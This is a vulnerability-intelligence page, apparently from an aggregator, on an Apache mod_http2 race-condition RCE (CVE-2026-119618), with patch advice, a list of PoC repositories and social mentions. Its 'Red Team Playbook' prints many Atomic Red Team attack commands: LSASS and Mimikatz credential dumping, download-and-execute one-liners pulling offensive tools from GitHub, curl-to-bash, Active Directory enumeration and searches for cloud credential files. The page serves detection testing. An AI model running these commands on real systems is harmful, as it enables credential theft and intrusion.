CVE-2026-119618
Overview
This vulnerability is a concurrency flaw classified as a race condition (CWE-362) arising from improper synchronization in Apache HTTP Server's mod_http2 module, specifically within the assign_headers() function. The root cause is the concurrent execution of shared resource access without adequate locking mechanisms, leading to inconsistent state management in HTTP/2 header assignment. The affected component is the mod_http2 module in Apache HTTP Server versions 2.4.55 through 2.4.70 and mod_h2 releases 2.0.8 through 2.0.42.
Vulnerability Description
Concurrent Execution using Shared Resource with Improper Synchronization vulnerability in Apache HTTP Server's mod_http2 in assign_headers() can lead to RCE. This issue affects Apache HTTP Server: from 2.4.55 through 2.4.70. Affected releases of mod_h2 from GitHub: from 2.0.8 through 2.0.42.
Impact
An unauthenticated attacker can exploit this race condition by sending concurrent HTTP/2 requests to execute arbitrary code on the server, leading to full system compromise. This can result in unauthorized access to sensitive data, server control, and potential lateral movement within the network. No user interaction or credentials are required, making exploitation remotely feasible over the network. The business impact includes data breaches, disruption of web services, and loss of trust due to compromised infrastructure.
Solution
Apply the security patches provided by the Apache Software Foundation as detailed in their official advisory at https://httpd.apache.org/security/vulnerabilities_24.html. Specifically, upgrade Apache HTTP Server to versions later than 2.4.70 and mod_h2 to versions beyond 2.0.42 where this synchronization issue has been resolved. Follow the vendor's instructions for patch installation and configuration to ensure proper mitigation of the concurrency flaw.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products
No CPE information available.
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (9)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
googlesky/CVE-2026-119618
Apache httpd mod_http2 (2.4.55-2.4.70) races on the connection allocator when assign_headers() writes the synthesised Co...
|
googlesky | 7 | 5 | 2026-11-12 | View |
|
geovanidps/cve-2026-119618-Apache
cve-2026-119618
|
geovanidps | 0 | 0 | 2026-11-12 | View |
|
suominen/CVE-2026-119618
|
suominen | 0 | 0 | 2026-11-12 | View |
|
blkph0x/CVE-2026-119618-mod_http2-lab
Reproducible Apache mod_http2 CVE-2026-119618 source, HTTP/2, and debugger A/B lab
|
blkph0x | 0 | 0 | 2026-11-13 | View |
|
foxcornlab/apache-httpd-scanner
Detection-only triage for Apache HTTP Server 2.4.71 batch: CVE-2026-119618 (mod_http2 RCE, CVSS 9.8), CVE-2026-106023, C...
|
foxcornlab | 0 | 0 | 2026-11-12 | View |
|
jeffschafer/Bigfix-Apache-HTTP2-Vulnerability-Scanner-CVE-2026-119618
Passive BigFix Apache mod_http2 CVE-2026-119618 assessment pilot; archived review snapshot.
|
jeffschafer | 0 | 0 | 2026-11-12 | View |
|
jeffschafer/Apache-HTTP2-RCE-HEAP-CORRUPTION-CVE-2026-119618-STAND-ALONE-SCANNER
Independent community CLI scanners for Apache mod_http2 CVE-2026-119618 on Windows, Linux and macOS.
|
jeffschafer | 0 | 0 | 2026-11-12 | View |
|
LLCForge/CVE-2026-119618
Weaponised PoC driver for CVE-2026-119618, the mod_http2 assign_headers() race: header-table shaping, allocator free-lis...
|
LLCForge | 0 | 0 | 2026-11-12 | View |
|
toeyhack/cve-2026-119618-apache-lab
Script validation, Docker lab
|
toeyhack | 0 | 0 | 2026-11-13 | View |
Threat Feed
6 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
Sighting activity recorded
Active exploitation confirmed with 157 sighting(s)
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Deployed role: Linux · Web Server
Kill chain derived from the ML classifier. Pick the target OS above to see the OS-specific path and matching playbook.
Attack Vectors ML
MITRE ATT&CK Techniques (10)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-29 | Leveraging Time-of-Check and Time-of-Use (TOCTOU) Race Conditions |
34%
|
High | High | |
| CAPEC-26 | Leveraging Race Conditions |
32%
|
High | High |
Red Team Playbook
124 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
"#{procdump_exe}" -accepteula -mm lsass.exe #{output_file}
$exePath = resolve-path "$env:ProgramFiles\dotnet\shared\Microsoft.NETCore.App\5*\createdump.exe"
& "$exePath" -u -f $env:Temp\dotnet-lsass.dmp (Get-Process lsass).id
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe --silent-process-exit "#{output_folder}"
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe -w "%temp%\nanodump.dmp"
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
try{ IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1003.001/src/Out-Minidump.ps1' -UseBasicParsing) -ErrorAction Stop}
catch{ $_; exit $_.Exception.Response.StatusCode.Value__}
get-process lsass | Out-Minidump
"#{procdump_exe}" -accepteula -ma lsass.exe #{output_file}
C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full
"#{dumpert_exe}"
#{xordump_exe} -out #{output_file} -x 0x41
if (Test-Path -Path "$env:SystemRoot\System32\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\System32\rdrleakdiag.exe"
} elseif (Test-Path -Path "$env:SystemRoot\SysWOW64\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\SysWOW64\rdrleakdiag.exe"
} else {
$binary_path = "File not found"
exit 1
}
$lsass_pid = get-process lsass |select -expand id
if (-not (Test-Path -Path"$env:TEMP\t1003.001-13-rdrleakdiag")) {New-Item -ItemType Directory -Path $env:TEMP\t1003.001-13-rdrleakdiag -Force}
write-host $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
& $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
Write-Host "Minidump file, minidump_$lsass_pid.dmp can be found inside $env:TEMP\t1003.001-13-rdrleakdiag directory."
"#{venv_path}\Scripts\pypykatz" live lsa
#{mimikatz_exe} "sekurlsa::minidump #{input_file}" "sekurlsa::logonpasswords full" exit
IEX (New-Object Net.WebClient).DownloadString('#{remote_script}'); Invoke-Mimikatz -DumpCreds
"#{psexec_exe}" #{remote_host} -accepteula -c #{command_path}
cmd.exe /Q /c #{command_to_execute} 1> \\127.0.0.1\ADMIN$\#{output_file} 2>&1
New-PSDrive -name #{map_name} -psprovider filesystem -root \\#{computer_name}\#{share_name}
cmd.exe /c "net use \\#{computer_name}\#{share_name} #{password} /u:#{user_name}"
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
# creating a custom nslookup function that will indeed call nslookup but forces the result to be "whoami"
# this would not be part of a real attack but helpful for this simulation
function nslookup { &"$env:windir\system32\nslookup.exe" @args | Out-Null; @("","whoami")}
powershell .(nslookup -q=txt example.com 8.8.8.8)[-1]
Powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/a0dfca7056ef20295b156b8207480dc2465f94c3/Invoke-AppPathBypass.ps1'); Invoke-AppPathBypass -Payload 'C:\Windows\System32\cmd.exe'"
Import-Module "#{mimpath}"
Invoke-Mimikatz -DumpCreds
$url='https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1';$wshell=New-Object -ComObject WScript.Shell;$reg='HKCU:\Software\Microsoft\Notepad';$app='Notepad';$props=(Get-ItemProperty $reg);[Void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');@(@('iWindowPosY',([String]([System.Windows.Forms.Screen]::AllScreens)).Split('}')[0].Split('=')[5]),@('StatusBar',0))|ForEach{SP $reg (Item Variable:_).Value[0] (Variable _).Value[1]};$curpid=$wshell.Exec($app).ProcessID;While(!($title=GPS|?{(Item Variable:_).Value.id-ieq$curpid}|ForEach{(Variable _).Value.MainWindowTitle})){Start-Sleep -Milliseconds 500};While(!$wshell.AppActivate($title)){Start-Sleep -Milliseconds 500};$wshell.SendKeys('^o');Start-Sleep -Milliseconds 500;@($url,(' '*1000),'~')|ForEach{$wshell.SendKeys((Variable _).Value)};$res=$Null;While($res.Length -lt 2){[Windows.Forms.Clipboard]::Clear();@('^a','^c')|ForEach{$wshell.SendKeys((Item Variable:_).Value)};Start-Sleep -Milliseconds 500;$res=([Windows.Forms.Clipboard]::GetText())};[Windows.Forms.Clipboard]::Clear();@('%f','x')|ForEach{$wshell.SendKeys((Variable _).Value)};If(GPS|?{(Item Variable:_).Value.id-ieq$curpid}){@('{TAB}','~')|ForEach{$wshell.SendKeys((Item Variable:_).Value)}};@('iWindowPosDY','iWindowPosDX','iWindowPosY','iWindowPosX','StatusBar')|ForEach{SP $reg (Item Variable:_).Value $props.((Variable _).Value)};IEX($res);invoke-mimikatz -dumpcr
Add-Content -Path #{ads_file} -Value 'Write-Host "Stream Data Executed"' -Stream 'streamCommand'
$streamcommand = Get-Content -Path #{ads_file} -Stream 'streamcommand'
Invoke-Expression $streamcommand
powershell.exe -e #{obfuscated_code}
# Encoded payload in next command is the following "Set-Content -path "$env:SystemRoot/Temp/art-marker.txt" -value "Hello from the Atomic Red Team""
reg.exe add "HKEY_CURRENT_USER\Software\Classes\AtomicRedTeam" /v ART /t REG_SZ /d "U2V0LUNvbnRlbnQgLXBhdGggIiRlbnY6U3lzdGVtUm9vdC9UZW1wL2FydC1tYXJrZXIudHh0IiAtdmFsdWUgIkhlbGxvIGZyb20gdGhlIEF0b21pYyBSZWQgVGVhbSI=" /f
iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\AtomicRedTeam').ART)))
$malcmdlets = #{Malicious_cmdlets}
foreach ($cmdlets in $malcmdlets) {
"function $cmdlets { Write-Host Pretending to invoke $cmdlets }"}
foreach ($cmdlets in $malcmdlets) {
$cmdlets}
New-PSSession -ComputerName #{hostname_to_connect}
Test-Connection $env:COMPUTERNAME
Set-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use -Value "T1086 PowerShell Session Creation and Use"
Get-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
Remove-Item -Force $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
iex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)
Invoke-AllChecks
powershell.exe -exec bypass -noprofile "$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open('GET','#{url}',$False);$comMsXml.Send();IEX $comMsXml.ResponseText"
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -noprofile "$Xml = (New-Object System.Xml.XmlDocument);$Xml.Load('#{url}');$Xml.command.a.execute | IEX"
C:\Windows\system32\cmd.exe /c "mshta.exe javascript:a=GetObject('script:#{url}').Exec();close()"
import-module "PathToAtomicsFolder\..\ExternalPayloads\SharpHound.ps1"
try { Invoke-BloodHound -OutputDirectory $env:Temp }
catch { $_; exit $_.Exception.HResult}
Start-Sleep 5
write-host "Remote download of SharpHound.ps1 into memory, followed by execution of the script" -ForegroundColor Cyan
IEX (New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1');
Invoke-BloodHound -OutputDirectory $env:Temp
Start-Sleep 5
#{soaphound_path} --user $(#{user})@$(#{domain}) --password #{password} --dc #{dc} --buildcache --cachefilename #{cachefilename}
#{soaphound_path} --user #{user} --password #{password} --domain #{domain} --dc #{dc} --bhdump --cachefilename #{cachefilename} --outputdirectory #{outputdirectory}
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
ldapdomaindump -u #{username} -p #{password} #{target_ip} -o /tmp/T1087
ldapsearch -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{user} -w #{password} -b "CN=Users,DC=#{domain},DC=#{top_level_domain}" -s sub -a always -z 1000 dn
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc admincountdmp #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc exchaddresses #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -f (objectcategory=person) #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -default -s base lockoutduration lockoutthreshold lockoutobservationwindow maxpwdage minpwdage minpwdlength pwdhistorylength pwdproperties
Invoke-Expression "#{adrecon_path}"
([adsisearcher]"objectcategory=user").FindAll(); ([adsisearcher]"objectcategory=user").FindOne()
csvde -f users.csv -r "(&(objectClass=user)(objectCategory=person))" -l "DN,sAMAccountName,userPrincipalName,mail,displayName,description,memberOf"
Get-ADObject -LDAPFilter '(UserAccountControl:1.2.840.113556.1.4.803:=#{uac_prop})' -Server #{domain}
net user administrator /domain
(([adsisearcher]'(objectcategory=organizationalunit)').FindAll()).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] OU Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
(([adsisearcher]'').SearchRooT).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] Domain Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
net user /domain
net group /domain
net user /domain
get-localgroupmember -group Users
get-aduser -filter *
query user /SERVER:#{computer_name}
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -verbose
cd "PathToAtomicsFolder\..\ExternalPayloads"
.\kerbrute.exe userenum -d #{Domain} --dc #{DomainController} "PathToAtomicsFolder\..\ExternalPayloads\username.txt"
Get-ADComputer #{hostname} -Properties *
Get-adcomputer -SearchScope subtree -filter "name -like '*'" -Properties *
Get-ADComputer #{hostname} -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" *
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
$target = $env:LOGONSERVER
$target = $target.Trim("\\")
$IpAddress = [System.Net.Dns]::GetHostAddresses($target) | select IPAddressToString -ExpandProperty IPAddressToString
wmic.exe /node:$IpAddress process call create 'wevtutil epl Security C:\\ntlmusers.evtx /q:\"Event[System[(EventID=4776)]]"'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
generaldomaininfo -noninteractive -consoleoutput
xcopy /I /Y "#{web_shells}" #{web_shell_path}
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
News (1)
Mentions (50)
238 mentions from 186 sources in the last 7 days BuzzFactor 100 / 100
-
social bsky.app @privpros.bsky.social 2026-11-15 01:48 UTCApache patched CVE-2026-119618, a mod_http2 race-condition flaw enabling unauthenticated remote code execution on HTTP/2-enabled servers.Open source
-
social bsky.app @alt.pds.lefht.cc 2026-11-14 19:15 UTC4. CVE-2026-119618 · 9 people Apache HTTP Server Apache HTTP Server: mod_http2: heap corruption and RCE in assign_headersOpen source
-
social bsky.app @alt.pds.lefht.cc 2026-11-14 19:15 UTC🛡️ Most-discussed CVEs on Bluesky, last 24h 1. CVE-2026-123039 · 30 people 🔥 2. CVE-2026-114713 · 26 people 🔥 3. CVE-2026-6460 · 14 people 4. CVE-2026-119618 · 9 people 5. CVE-2026-124194 · 6 people 🔥 🔥 = on CISA's Known Exploited list · d…Open source
-
code github.com matarturo 2026-11-14 15:02 UTCmatarturo/apache-mod-http2-scannerOpen source
-
code github.com d4ytox 2026-11-14 14:34 UTCd4ytox/CVE-2026-119618Open source
-
code github.com terminat0r7031 2026-11-14 13:47 UTCterminat0r7031/CVE-2026-119618Open source
-
social bsky.app @crustytldr.bsky.social 2026-11-14 11:01 UTC🔒 Apache CVE-2026-119618 (CVSS 9.8, mod_http2 RCE): quick check + mitigation if your distro hasn't shipped 2.4.71 yet Apache 2.4.71 fixes a race condition in mod_http2 (assign_head... https://tinyurl.com/25zhovp3 #CyberSecurity #InfoSec #C…Open source
-
social bsky.app @sirile.bsky.social 2026-11-14 10:20 UTCA critical RCE in Apache httpd is easy to patch on the fleet you know about. The copy baked into some old container image is the one that bites. https://www.wiz.io/blog/cve-2026-119618-rce-apache-http-server-vulnerabilityOpen source
-
social bsky.app @infosec.skyfleet.blue 2026-11-14 08:32 UTCCISA KEV Weekly Roundup – Week 46Open source
-
social bsky.app @billingsley.bsky.social 2026-11-14 08:12 UTCCOGNOSCERE Tech Brief — 2026-11-14 Patch Apache HTTP Server now. CVE-2026-119618, rated CVSS 9.8, is a race conditi https://youtube.com/watch?v=NcWysGmAB20 https://www.cognoscerellc.com/newsOpen source
-
social bsky.app @deafnews-auto.bsky.social 2026-11-14 08:08 UTCCVE-2026-119618: Race Condition in Apache mod_http2 Enables RCEOpen source
-
social infosec.exchange @116577907901656133 2026-11-14 08:08 UTCApache HTTP Server mod_http2 race condition allows unauthenticated remote code execution. Version 2.4.71 patches the flaw; HTTP/1.1-only servers unaffected. # Cybersecurity https:// deafnews.it/en/article/cve-202 6-119618-race-condition-in…Open source
-
social bsky.app @arc-codex.com 2026-11-14 05:25 UTCHTTPd (CVE-2026-119618): Detecting heap corruption and RCE in Apache HTTP Server mod_http2 This article overstates the immediate risk by heavily emphasizing potential RCE without confirmed in-the-wild exploitation, framing a memory corrupt…Open source
-
code github.com QCG5OLF5ZU9L2W 2026-11-14 04:41 UTCQCG5OLF5ZU9L2W/CVE-2026-119618-YARAOpen source
-
social bsky.app @techwhoknows.bsky.social 2026-11-14 01:32 UTCApache Discloses Critical mod_http2 Heap Corruption Flaw Enabling Remote Code Execution — A race condition in Apache HTTP Server versions 2.4.55 through 2.4.70 allows unauthenticated attackers to exec… techwhoknows.com/security/apache-disc…Open source
-
social bsky.app @techwhoknows.com 2026-11-14 01:32 UTCApache Discloses Critical mod_http2 Heap Corruption Flaw Enabling Remote Code Execution — A race condition in Apache HTTP Server versions 2.4.55 through 2.4.70 allows unauthenticated attackers to exec… techwhoknows.com/security/apache-disc…Open source
-
social bsky.app @psoheil.bsky.social 2026-11-14 00:10 UTCCritical Remote Code Execution Vulnerability Discovered in Apache HTTP Server (CVE-2026-119618) #Cybersecurity #Apache #RCE #VulnerabilityManagement #CloudSecurity #InfoSec #DevSecOps Source: www.wiz.io/blog/cve-202...Open source
-
social c.im @psoheil 2026-11-14 00:08 UTCCritical Remote Code Execution Vulnerability Discovered in Apache HTTP Server (CVE-2026-119618) A newly disclosed vulnerability in Apache HTTP Server highlights how seemingly small synchronization issues can create significant security ris…Open source
-
social bsky.app @cyberveille-ch.bsky.social 2026-11-13 22:30 UTC📢 Apache corrige une RCE critique dans HTTP Server (CVE-2026-119618) découverte par Anthropic et Google ⚠️ Vulnérabilité principale : CVE-2026-119618 Type : Race condition dans le module modhttp2 Versions affectées : Apache HTTP… 🟢 vérific…Open source
-
social bsky.app @thenewoil.org 2026-11-13 21:00 UTCCritical #Apache #HTTP2 Flaw Could Let Unauthenticated Attackers Execute Code Remotely https://thehackernews.com/2026/11/critical-apache-http2-flaw-could-let.html #cybersecurityOpen source
-
news securityboulevard.com 2026-11-13 20:58 UTCApache HTTP Server Remote Code Execution Vulnerability (CVE-2026-119618) Advisory - Security BoulevardOpen source
-
social bsky.app @stackwatch.de 2026-11-13 19:42 UTCLage 13.11. Apache CVE-2026-119618 (mod_http2, laut Apache kritisch): betroffen 2.4.55 bis 2.4.70, Fix 2.4.71. Node.js: 16 Fixes, 7 HIGH. Fix 26.13.1, 24.22.3, 22.23.5. Node 20/18: kein Fix. Prüfen: apachectl -M | grep http2, node -v stack…Open source
-
social bsky.app @alt.pds.lefht.cc 2026-11-13 19:15 UTC1. CVE-2026-119618 · 29 people Apache HTTP Server Apache HTTP Server: mod_http2: heap corruption and RCE in assign_headersOpen source
-
social bsky.app @alt.pds.lefht.cc 2026-11-13 19:15 UTC🛡️ Most-discussed CVEs on Bluesky, last 24h 1. CVE-2026-119618 · 29 people 2. CVE-2026-6460 · 22 people 3. CVE-2026-124194 · 18 people 🔥 4. CVE-2026-123039 · 17 people 5. CVE-2026-120868 · 8 people 🔥 = on CISA's Known Exploited list · deta…Open source
-
social bsky.app @insomnisec.bsky.social 2026-11-13 18:15 UTC📡 CVE-2026-119618: Critical Apache HTTP/2 Flaw Could Let Attackers Take Over Web ServersOpen source
-
